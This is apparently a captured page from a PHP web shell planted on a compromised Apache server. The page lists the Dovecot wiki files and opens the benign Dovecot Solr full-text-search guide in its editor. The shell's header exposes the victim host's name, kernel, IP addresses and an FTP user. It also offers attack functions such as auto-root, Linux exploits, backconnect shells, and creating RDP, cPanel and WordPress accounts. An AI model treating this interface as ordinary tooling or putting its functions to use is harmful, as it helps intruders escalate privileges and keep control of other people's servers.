Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
dovecot /
wiki /
[ HOME SHELL ]
Name
Size
Permission
Action
ACL.txt
11.23
KB
-rw-r--r--
AixPluginsSupport.txt
5.29
KB
-rw-r--r--
AttachmentIndicator.txt
1.13
KB
-rw-r--r--
AuthDatabase.CheckPassword.txt
9.54
KB
-rw-r--r--
AuthDatabase.Dict.txt
10.55
KB
-rw-r--r--
AuthDatabase.LDAP.AuthBinds.tx...
3.28
KB
-rw-r--r--
AuthDatabase.LDAP.PasswordLook...
4.09
KB
-rw-r--r--
AuthDatabase.LDAP.Userdb.txt
6.92
KB
-rw-r--r--
AuthDatabase.LDAP.txt
2.86
KB
-rw-r--r--
AuthDatabase.Lua.txt
9.03
KB
-rw-r--r--
AuthDatabase.Passwd.txt
1.9
KB
-rw-r--r--
AuthDatabase.PasswdFile.txt
6.22
KB
-rw-r--r--
AuthDatabase.SQL.txt
8.53
KB
-rw-r--r--
AuthDatabase.VPopMail.txt
6.84
KB
-rw-r--r--
AuthDatabase.txt
820
B
-rw-r--r--
Authentication.Caching.txt
4.56
KB
-rw-r--r--
Authentication.Kerberos.txt
8.73
KB
-rw-r--r--
Authentication.MasterUsers.txt
10.96
KB
-rw-r--r--
Authentication.Mechanisms.Dige...
3.18
KB
-rw-r--r--
Authentication.Mechanisms.NTLM...
1.22
KB
-rw-r--r--
Authentication.Mechanisms.Winb...
1.48
KB
-rw-r--r--
Authentication.Mechanisms.txt
3.84
KB
-rw-r--r--
Authentication.MultipleDatabas...
3.59
KB
-rw-r--r--
Authentication.PasswordSchemes...
10.72
KB
-rw-r--r--
Authentication.Penalty.txt
1.72
KB
-rw-r--r--
Authentication.Policy.txt
9.31
KB
-rw-r--r--
Authentication.RestrictAccess....
2.76
KB
-rw-r--r--
Authentication.txt
1.77
KB
-rw-r--r--
BasicConfiguration.txt
6.24
KB
-rw-r--r--
Chrooting.txt
2.77
KB
-rw-r--r--
Clients.NegativeUIDs.txt
1.96
KB
-rw-r--r--
Clients.txt
5.48
KB
-rw-r--r--
CompilingSource.txt
13.52
KB
-rw-r--r--
ConfigFile.txt
10.7
KB
-rw-r--r--
Debugging.Authentication.txt
3.63
KB
-rw-r--r--
Debugging.ProcessTracing.txt
1.32
KB
-rw-r--r--
Debugging.Rawlog.txt
5.1
KB
-rw-r--r--
Debugging.Thunderbird.txt
2.12
KB
-rw-r--r--
Design.Arrays.txt
3.82
KB
-rw-r--r--
Design.AuthProcess.txt
16.13
KB
-rw-r--r--
Design.AuthProtocol.txt
8.31
KB
-rw-r--r--
Design.Buffers.txt
2.75
KB
-rw-r--r--
Design.Code.txt
10.01
KB
-rw-r--r--
Design.Dcrypt.txt
4.15
KB
-rw-r--r--
Design.DoveadmProtocol.HTTP.tx...
4.13
KB
-rw-r--r--
Design.DoveadmProtocol.txt
3.68
KB
-rw-r--r--
Design.Dsync.txt
4.94
KB
-rw-r--r--
Design.Events.txt
13.35
KB
-rw-r--r--
Design.Indexes.Cache.txt
6.11
KB
-rw-r--r--
Design.Indexes.MailIndexApi.tx...
2.07
KB
-rw-r--r--
Design.Indexes.MainIndex.txt
10.34
KB
-rw-r--r--
Design.Indexes.TransactionLog....
11.45
KB
-rw-r--r--
Design.Indexes.txt
2.99
KB
-rw-r--r--
Design.InputStreams.txt
10.71
KB
-rw-r--r--
Design.Lua.txt
6.48
KB
-rw-r--r--
Design.MailProcess.txt
215
B
-rw-r--r--
Design.Memory.txt
9.25
KB
-rw-r--r--
Design.OutputStreams.txt
4.81
KB
-rw-r--r--
Design.ParameterForwarding.txt
2.17
KB
-rw-r--r--
Design.Plugins.txt
2.44
KB
-rw-r--r--
Design.Processes.txt
6.59
KB
-rw-r--r--
Design.Storage.ErrorHandling.t...
3.03
KB
-rw-r--r--
Design.Storage.Mail.txt
4.82
KB
-rw-r--r--
Design.Storage.MailNamespace.t...
3.93
KB
-rw-r--r--
Design.Storage.MailStorage.txt
2.07
KB
-rw-r--r--
Design.Storage.MailUser.txt
1.17
KB
-rw-r--r--
Design.Storage.Mailbox.Save.tx...
2.69
KB
-rw-r--r--
Design.Storage.Mailbox.Search....
4.44
KB
-rw-r--r--
Design.Storage.Mailbox.Sync.tx...
6.11
KB
-rw-r--r--
Design.Storage.Mailbox.Transac...
2.83
KB
-rw-r--r--
Design.Storage.Mailbox.txt
1.61
KB
-rw-r--r--
Design.Storage.MailboxList.txt
7.66
KB
-rw-r--r--
Design.Storage.Plugins.txt
5.24
KB
-rw-r--r--
Design.Strings.txt
3.07
KB
-rw-r--r--
Design.txt
2.42
KB
-rw-r--r--
Dict.txt
1.6
KB
-rw-r--r--
Dictionary.txt
9.35
KB
-rw-r--r--
Director.txt
13.14
KB
-rw-r--r--
DomainLost.txt
2.45
KB
-rw-r--r--
Errors.ChgrpNoPerm.txt
1.4
KB
-rw-r--r--
Events.txt
6.68
KB
-rw-r--r--
FindMailLocation.txt
2.6
KB
-rw-r--r--
FinishBasicConfiguration.txt
454
B
-rw-r--r--
HAProxy.txt
3.56
KB
-rw-r--r--
HowTo.AntispamWithSieve.txt
8.8
KB
-rw-r--r--
HowTo.EximAndDovecotSASL.txt
1.47
KB
-rw-r--r--
HowTo.ImapcProxy.txt
6.05
KB
-rw-r--r--
HowTo.PopBSMTPAndDovecot.txt
14.19
KB
-rw-r--r--
HowTo.PopRelay.txt
5.24
KB
-rw-r--r--
HowTo.PostfixAndDovecotSASL.tx...
4.02
KB
-rw-r--r--
HowTo.Rootless.txt
3.79
KB
-rw-r--r--
HowTo.SimpleVirtualInstall.txt
5.93
KB
-rw-r--r--
HowTo.WriteConfiguration.txt
1.54
KB
-rw-r--r--
HowTo.txt
4.49
KB
-rw-r--r--
IMAPServer.Hibernation.txt
1.61
KB
-rw-r--r--
IMAPServer.txt
623
B
-rw-r--r--
ImapMetadata.txt
842
B
-rw-r--r--
IndexFiles.txt
8.5
KB
-rw-r--r--
LDA.Exim.txt
5.43
KB
-rw-r--r--
LDA.Indexing.txt
2.05
KB
-rw-r--r--
LDA.Postfix.txt
10.85
KB
-rw-r--r--
LDA.Qmail.txt
1.15
KB
-rw-r--r--
LDA.Sendmail.txt
4.24
KB
-rw-r--r--
LDA.txt
12.6
KB
-rw-r--r--
LMTP.Exim.txt
5.24
KB
-rw-r--r--
LMTP.txt
4.15
KB
-rw-r--r--
Logging.txt
7.03
KB
-rw-r--r--
LoginProcess.txt
4.93
KB
-rw-r--r--
MDA.txt
439
B
-rw-r--r--
MTA.txt
2.56
KB
-rw-r--r--
MailLocation.LocalDisk.txt
1.77
KB
-rw-r--r--
MailLocation.Maildir.txt
6.08
KB
-rw-r--r--
MailLocation.SharedDisk.txt
2.98
KB
-rw-r--r--
MailLocation.dbox.txt
3.56
KB
-rw-r--r--
MailLocation.mbox.txt
8.5
KB
-rw-r--r--
MailLocation.txt
13.83
KB
-rw-r--r--
MailboxFormat.Cydir.txt
868
B
-rw-r--r--
MailboxFormat.MH.txt
2.61
KB
-rw-r--r--
MailboxFormat.Maildir.txt
18.67
KB
-rw-r--r--
MailboxFormat.dbox.txt
11.63
KB
-rw-r--r--
MailboxFormat.imapc.txt
6.08
KB
-rw-r--r--
MailboxFormat.mailstore.txt
678
B
-rw-r--r--
MailboxFormat.mbox.txt
13.45
KB
-rw-r--r--
MailboxFormat.mbx.txt
1.08
KB
-rw-r--r--
MailboxFormat.txt
13.69
KB
-rw-r--r--
MailboxSettings.txt
3.26
KB
-rw-r--r--
MboxChildFolders.txt
9.19
KB
-rw-r--r--
MboxLocking.txt
2.56
KB
-rw-r--r--
MboxProblems.txt
6
KB
-rw-r--r--
Migration.BincIMAP.txt
8.86
KB
-rw-r--r--
Migration.Courier.txt
3.48
KB
-rw-r--r--
Migration.Cyrus.txt
3.5
KB
-rw-r--r--
Migration.Dsync.txt
5.94
KB
-rw-r--r--
Migration.Gmail.txt
3.89
KB
-rw-r--r--
Migration.Linuxconf.txt
2.6
KB
-rw-r--r--
Migration.MailFormat.txt
10.98
KB
-rw-r--r--
Migration.Online.txt
3.08
KB
-rw-r--r--
Migration.Teapop.txt
1.96
KB
-rw-r--r--
Migration.UW.txt
5.34
KB
-rw-r--r--
Migration.Vm-pop3d.txt
1.75
KB
-rw-r--r--
Migration.txt
7.27
KB
-rw-r--r--
MissingMailboxes.txt
1.95
KB
-rw-r--r--
Mountpoints.txt
2.11
KB
-rw-r--r--
NFS.txt
6.9
KB
-rw-r--r--
Namespaces.txt
13.47
KB
-rw-r--r--
OSCompatibility.txt
1.6
KB
-rw-r--r--
POP3Server.txt
7.19
KB
-rw-r--r--
PasswordDatabase.BSDAuth.txt
205
B
-rw-r--r--
PasswordDatabase.ExtraFields.A...
1.63
KB
-rw-r--r--
PasswordDatabase.ExtraFields.H...
2.76
KB
-rw-r--r--
PasswordDatabase.ExtraFields.N...
495
B
-rw-r--r--
PasswordDatabase.ExtraFields.N...
989
B
-rw-r--r--
PasswordDatabase.ExtraFields.P...
13.02
KB
-rw-r--r--
PasswordDatabase.ExtraFields.U...
1.03
KB
-rw-r--r--
PasswordDatabase.ExtraFields.t...
4.57
KB
-rw-r--r--
PasswordDatabase.IMAP.txt
1.01
KB
-rw-r--r--
PasswordDatabase.PAM.txt
8.4
KB
-rw-r--r--
PasswordDatabase.Shadow.txt
1.19
KB
-rw-r--r--
PasswordDatabase.Static.txt
869
B
-rw-r--r--
PasswordDatabase.oauth2.txt
5.92
KB
-rw-r--r--
PasswordDatabase.txt
8.45
KB
-rw-r--r--
PerformanceTuning.txt
3.24
KB
-rw-r--r--
Pigeonhole.Installation.txt
4.81
KB
-rw-r--r--
Pigeonhole.ManageSieve.Clients...
3.14
KB
-rw-r--r--
Pigeonhole.ManageSieve.Configu...
11.23
KB
-rw-r--r--
Pigeonhole.ManageSieve.Install...
59
B
-rw-r--r--
Pigeonhole.ManageSieve.Trouble...
9.49
KB
-rw-r--r--
Pigeonhole.ManageSieve.txt
1.26
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
7.22
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
3.54
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
4.78
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
29.14
KB
-rw-r--r--
Pigeonhole.Sieve.Examples.txt
15.15
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Du...
1.98
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Ed...
2.35
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.In...
1.11
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Sp...
5.66
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Va...
5.01
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Va...
1.07
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.tx...
569
B
-rw-r--r--
Pigeonhole.Sieve.Plugins.Extda...
5.56
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.Extpr...
12.88
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.IMAPF...
2.28
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.IMAPS...
5.43
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.Pipe....
6.73
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.txt
2.49
KB
-rw-r--r--
Pigeonhole.Sieve.Troubleshooti...
6.43
KB
-rw-r--r--
Pigeonhole.Sieve.Usage.txt
6.21
KB
-rw-r--r--
Pigeonhole.Sieve.txt
30.59
KB
-rw-r--r--
Pigeonhole.txt
1.8
KB
-rw-r--r--
Plugins.Apparmor.txt
1.15
KB
-rw-r--r--
Plugins.Autocreate.txt
902
B
-rw-r--r--
Plugins.CharsetAlias.txt
712
B
-rw-r--r--
Plugins.Compress.txt
475
B
-rw-r--r--
Plugins.Expire.txt
13.44
KB
-rw-r--r--
Plugins.FTS.Lucene.txt
3.01
KB
-rw-r--r--
Plugins.FTS.Solr.txt
12.3
KB
-rw-r--r--
Plugins.FTS.Squat.txt
5.92
KB
-rw-r--r--
Plugins.FTS.txt
4.31
KB
-rw-r--r--
Plugins.LastLogin.txt
1.67
KB
-rw-r--r--
Plugins.Lazyexpunge.txt
6.53
KB
-rw-r--r--
Plugins.Listescape.txt
2.35
KB
-rw-r--r--
Plugins.MailCrypt.txt
18.14
KB
-rw-r--r--
Plugins.MailFilter.txt
2.56
KB
-rw-r--r--
Plugins.MailLog.txt
1.82
KB
-rw-r--r--
Plugins.MailboxAlias.txt
1.76
KB
-rw-r--r--
Plugins.Notify.txt
329
B
-rw-r--r--
Plugins.NotifyStatus.txt
2.09
KB
-rw-r--r--
Plugins.PushNotification.txt
16.19
KB
-rw-r--r--
Plugins.QuotaClone.txt
1.49
KB
-rw-r--r--
Plugins.Snarf.txt
1.88
KB
-rw-r--r--
Plugins.Stats.txt
59
B
-rw-r--r--
Plugins.Trash.txt
1.5
KB
-rw-r--r--
Plugins.VarExpandCrypt.txt
1.6
KB
-rw-r--r--
Plugins.Virtual.txt
9.96
KB
-rw-r--r--
Plugins.Welcome.txt
812
B
-rw-r--r--
Plugins.Zlib.txt
4.6
KB
-rw-r--r--
Plugins.txt
4.99
KB
-rw-r--r--
PostLoginScripting.txt
8.62
KB
-rw-r--r--
PreAuth.txt
932
B
-rw-r--r--
QuickConfiguration.txt
6.55
KB
-rw-r--r--
Quota.Configuration.txt
18.49
KB
-rw-r--r--
Quota.Count.txt
1.56
KB
-rw-r--r--
Quota.Dict.txt
6.98
KB
-rw-r--r--
Quota.Dirsize.txt
695
B
-rw-r--r--
Quota.FS.txt
4.37
KB
-rw-r--r--
Quota.Maildir.txt
2.29
KB
-rw-r--r--
Quota.txt
4.78
KB
-rw-r--r--
Replication.txt
15.78
KB
-rw-r--r--
RunningDovecot.txt
5.85
KB
-rw-r--r--
SSL.CertificateClientImporting...
1.55
KB
-rw-r--r--
SSL.CertificateCreation.txt
4.69
KB
-rw-r--r--
SSL.DovecotConfiguration.txt
21.3
KB
-rw-r--r--
SSL.SNIClientSupport.txt
696
B
-rw-r--r--
SSL.txt
3.41
KB
-rw-r--r--
Sasl.txt
1.05
KB
-rw-r--r--
SecurityTuning.txt
942
B
-rw-r--r--
Services.txt
19.43
KB
-rw-r--r--
SharedMailboxes.ClusterSetup.t...
1.98
KB
-rw-r--r--
SharedMailboxes.Permissions.tx...
8.06
KB
-rw-r--r--
SharedMailboxes.Public.txt
8.13
KB
-rw-r--r--
SharedMailboxes.Shared.txt
10.53
KB
-rw-r--r--
SharedMailboxes.Symlinks.txt
1.72
KB
-rw-r--r--
SharedMailboxes.txt
750
B
-rw-r--r--
SocketUnavailable.txt
3.71
KB
-rw-r--r--
Statistics.Old.txt
8.54
KB
-rw-r--r--
Statistics.txt
3.73
KB
-rw-r--r--
Submission.txt
8.5
KB
-rw-r--r--
SystemUsers.txt
4.99
KB
-rw-r--r--
TestInstallation.txt
8.61
KB
-rw-r--r--
TestPop3Installation.txt
4.76
KB
-rw-r--r--
TimeMovedBackwards.txt
3.8
KB
-rw-r--r--
Timeouts.txt
2.85
KB
-rw-r--r--
Upgrading.1.0.txt
4.23
KB
-rw-r--r--
Upgrading.1.1.txt
4.33
KB
-rw-r--r--
Upgrading.1.2.txt
2.57
KB
-rw-r--r--
Upgrading.2.0.txt
4.69
KB
-rw-r--r--
Upgrading.2.1.txt
1.87
KB
-rw-r--r--
Upgrading.2.2.txt
2.17
KB
-rw-r--r--
Upgrading.2.3.txt
11.98
KB
-rw-r--r--
Upgrading.txt
1.01
KB
-rw-r--r--
UserDatabase.ExtraFields.txt
4.6
KB
-rw-r--r--
UserDatabase.NSS.txt
1.23
KB
-rw-r--r--
UserDatabase.Prefetch.txt
2.72
KB
-rw-r--r--
UserDatabase.Static.txt
1.58
KB
-rw-r--r--
UserDatabase.txt
5.35
KB
-rw-r--r--
UserIds.txt
6.36
KB
-rw-r--r--
Variables.txt
22.39
KB
-rw-r--r--
VirtualUsers.Home.txt
3.5
KB
-rw-r--r--
VirtualUsers.txt
5.58
KB
-rw-r--r--
WhyDoesItNotWork.txt
5.64
KB
-rw-r--r--
maildrop.txt
3.44
KB
-rw-r--r--
mutt.txt
3.09
KB
-rw-r--r--
uw2dovecot.sh.txt
498
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Plugins.FTS.Solr.txt
Solr Full Text Search Indexing ============================== Solr [https://lucene.apache.org/solr/] is a Lucene indexing server. Dovecot communicates to it using HTTP/XML queries. The steps described in this wiki page are tested for Solr 7.7.0. For other versions, this these steps may need to be adjusted. Compiling --------- Dovecot is not compiled with Solr FTS support by default. To enable it, you need to add the '--with-solr' parameter to your invocation of the 'configure' script. You will also need to have libexpat installed, including development headers (typically from a separate development package). Configuration will fail if '--with-solr' is enabled while libexpat headers cannot be found. Older versions of Dovecot also required libcurl for Solr support, but recent versions of Dovecot include a custom HTTP client. Configuration ------------- Solr Installation ----------------- First, the Solr server needs to be installed. Most operating systems will have packages for this. The latest version can be downloaded and installed from official website, and here are instructions to install 7.7.0 based on the howto How to Install Apache Solr 7.5 on Debian 9/8 [https://tecadmin.net/install-apache-solr-on-debian/]: ---%<------------------------------------------------------------------------- wget https://www-eu.apache.org/dist/lucene/solr/7.7.0/solr-7.7.0.tgz tar xzf solr-7.7.0.tgz solr-7.7.0/bin/install_solr_service.sh --strip-components=2 sudo bash ./install_solr_service.sh solr-7.7.0.tgz ---%<------------------------------------------------------------------------- To use Solr with Dovecot, it needs to configured specifically for use with Dovecot. ---%<------------------------------------------------------------------------- sudo -u solr /opt/solr/bin/solr create -c dovecot ---%<------------------------------------------------------------------------- The location of the files for the newly created instance on the filesystem varies between operating systems and installation methods. For example, in Archlinux, the config files are located in '/opt/solr/server/solr/dovecot/conf' and data files can be found in '/opt/solr/server/solr/dovecot/data'. When installed from tarball, these directories can be found in '/var/solr/data/dovecot/'. Once the instance is created, you can start Solr. The means of starting, stopping and querying the status of the 'solr' service varies between systems. For systemd, these commands are as follows: ---%<------------------------------------------------------------------------- sudo systemctl stop solr sudo systemctl start solr sudo systemctl status solr ---%<------------------------------------------------------------------------- By default, the Solr administation page for the newly created instance is located at https://localhost:8983/solr/#/~cores/dovecot. It can be used to check the status of the Solr instance. Configuration errors are often most conveniently viewed here. Solr also writes log files. For a tarball installation, these can be found at '/var/solr/logs/'. Solr Configuration ------------------ There are three primary configuration files that need to be changed to accommodate the Dovecot FTS needs: the instance configuration file 'solrconfig.xml' and the schema files 'schema.xml' and 'managed-schema' used by the instance. These files are both located in the 'conf' directory of the Solr instance (e.g.,'/var/solr/data/dovecot/conf/'). Remove default core configuration files --------------------------------------- ---%<------------------------------------------------------------------------- rm -f /var/solr/data/dovecot/conf/schema.xml rm -f /var/solr/data/dovecot/conf/managed-schema rm -f /var/solr/data/dovecot/conf/solrconfig.xml ---%<------------------------------------------------------------------------- Install schema.xml and solrconfig.xml ------------------------------------- Copy doc/solr-config-7.7.0.xml [https://raw.githubusercontent.com/dovecot/core/master/doc/solr-config-7.7.0.xml] and doc/solr-schema-7.7.0.xml [https://raw.githubusercontent.com/dovecot/core/master/doc/solr-schema-7.7.0.xml] (Since Dovecot 2.3.6+) to '/var/solr/data/dovecot/conf/' as 'solrconfig.xml' and 'schema.xml'. The 'managed-schema' file is generated based on 'schema.xml'. Dovecot Plugin -------------- On Dovecot's side add: Into 10-mail.conf (note add existing plugins to string) ---%<------------------------------------------------------------------------- mail_plugins = $mail_plugins fts fts_solr ---%<------------------------------------------------------------------------- Into 90-plugins.conf ---%<------------------------------------------------------------------------- plugin { fts = solr fts_solr = url=https://solr.example.org:8983/solr/dovecot/ } ---%<------------------------------------------------------------------------- Fields listed in 'fts_solr' plugin setting are space separated. They can contain: * url=<solr url> : Required base URL for Solr. (remember to add your core name if using solr 7+ : "/solr/dovecot/"). The default URL for Solr 7+ is https://localhost:8983/solr/dovecot * debug : Enable HTTP debugging. Writes to debug log. * break-imap-search : Use Solr also for indexing TEXT and BODY searches. This makes your server non-IMAP-compliant. (This is always enabled in v2.1+, and removed since v2.3+ as it's default behaviour) * rawlog_dir=<directory> : For debugging, store HTTP exchanges between Dovecot and Solr in this directory. (2.3.6+) * batch_size : Configure the number of mails sent in single requests to Solr, default is 1000. (2.3.6+) * with fts_autoindex=yes, each new mail gets separately indexed on arrival, so batch_size only matters when doing the initial indexing of a mailbox. * with fts_autoindex=no, new mails don't get indexed on arrival, so batch_size is used when indexing gets triggered. * soft_commit=yes|no : Control whether new mails are immediately searchable via Solr, default to yes. When using no, it's important to set autoCommit or autoSoftCommit time in solrconfig.xml so mails eventually become searchable. (2.3.6+) Important notes: * Some mail clients will not submit any search requests for certain fields if they index things locally eg. Thunderbird will not send any requests for fields such as sender/recipients/subject when Body is not included as this data is contained within the local index. Solr commits & optimization --------------------------- Solr indexes should be optimized once in a while to make searches faster and to remove space used by deleted mails. Dovecot never asks Solr to optimize, so you should do this yourself. Perhaps a cronjob that sends the optimize-command to Solr every n hours. With v2.2.3+ Dovecot only does soft commits to the Solr index to improve performance. You must run a hard commit once in a while or Solr will keep increasing its transaction log sizes. For example send the commit command to Solr every few minutes. ---%<------------------------------------------------------------------------- # Optimize should be run somewhat rarely, e.g. once a day curl https://<hostname/ip>:<port|default 8983>/solr/dovecot/update?optimize=true # Commit should be run pretty often, e.g. every minute curl https://<hostname/ip>:<port|default 8983>/solr/dovecot/update?commit=true ---%<------------------------------------------------------------------------- You may not need those if you are using a recent Solr (7+) or <SolrCloud.txt>. The default configuration of Solr is to auto-commit every once in a while (~15sec) so commit is not necessary. Also, the default / <TieredMergePolicy.txt>/ in Solr will automatically purge removed documents later, so optimize is not necessary. Re-index mailbox ---------------- If you require to force dovecot to reindex a whole mailbox you can run the command shown, this will only take action when a search is done and will apply to the whole mailbox. ---%<------------------------------------------------------------------------- doveadm fts rescan -u <username> ---%<------------------------------------------------------------------------- If you want to index a single mailbox/all mailboxes you can run the command shown, this will happen immediately and will block until the action is completed. ---%<------------------------------------------------------------------------- doveadm index [-u <user>|-A] [-S <socket_path>] [-q] [-n <max recent>] <mailbox mask> ---%<------------------------------------------------------------------------- Sorting by relevancy -------------------- Solr/Lucene supports returning a relevancy score for search results. If you want to sort the search results by the score, use Dovecot's non-standard X-SCORE sort key: ---%<------------------------------------------------------------------------- 1 SORT (X-SCORE) UTF-8 <search parameters> ---%<------------------------------------------------------------------------- Indexes ------- Dovecot creates the following fields: * id: Unique ID consisting of uid/uidv/user/box. * Note that your user names really shouldn't contain '/' character. * uid: Message's IMAP UID. * uidv: Mailbox's UIDVALIDITY. This changes if mailbox gets recreated. * box: Mailbox name * user: User name who owns the mailbox, or empty for public namespaces * hdr: Indexed message headers * body: Indexed message body * any: "Copy field" from hdr and body, i.e. searching based on this will search from both headers and bodies. Lucene does duplicate suppression based on the "id" field, so even if Dovecot sends the same message multiple times to Solr it gets indexed only once. This might happen currently if multiple searches are started at the same time. You might want to build a cronjob to go through the Lucene indexes once in a while to delete indexed messages (or entire mailboxes) that no longer exist on the filesystem. It shouldn't normally find any such messages though. Testing ------- ---%<------------------------------------------------------------------------- # telnet localhost imap * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS MULTIAPPEND UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS STARTTLS AUTH=PLAIN AUTH=LOGIN] I am ready. 1 login username password 2 select Inbox 3 SEARCH text "test" ---%<------------------------------------------------------------------------- Sharding -------- If you have more users than fit into a single Solr box, you can split users off to different servers. A couple of different ways you could do it are: * Have some HTTP proxy redirecting the connections based on the URL * Configure Dovecot's userdb lookup to return a different host for 'fts_solr' setting using <extra fields> [UserDatabase.ExtraFields.txt]. * LDAP: 'user_attrs = ..., solrHost=fts_solr=url=https://%$:8983/solr/dovecot/' * MySQL: 'user_query = SELECT concat('url=https://', solr_host, ':8983/solr/dovecot/') AS fts_solr, ...' You can also use SolrCloud [https://lucene.apache.org/solr/guide/7_6/solrcloud.html], the clustered version of Solr, that allows you to scale up, and adds failover / high availability to your FTS system. Dovecot-solr works fine with a <SolrCloud.txt> cluster as long as the solr schema is the right one. External Tutorials ------------------ External sites with tutorials on using Solr under Dovecot * Installing Apache Solr with Dovecot for fulltext search results (ATmail support guide) [https://help.atmail.com/hc/en-us/articles/201566404-Installing-Apache-Solr-with-Dovecot-for-fulltext-search-results] * FreeBSD: https://mor-pah.net/2016/08/15/dovecot-2-2-with-solr-6-or-5/ * Substring searches with ngrams: https://dovecot.org/list/dovecot/2011-May/059338.html Tips ---- Some additional things which might help you configuring Solr search: * If you are using Tomcat: Set 'maxHttpHeaderSize="65536"' (connector definition for port 8080 in '/etc/tomcat7/server.xml') to accept long search query strings (iPhones tend to send multi-kilobyte-sized queries) * Set 'df' to 'hdr' in '/etc/solr/conf/solrconfig.xml' ('/select' request handler) to avoid strange 'undefined field text' errors. * Please keep in mind that you will have to change the Solr URL to include the core name (ie:'dovecot': 'https://localhost:8939/solr/dovecot'). (This file was created from the wiki on 2019-06-19 12:42)
Close
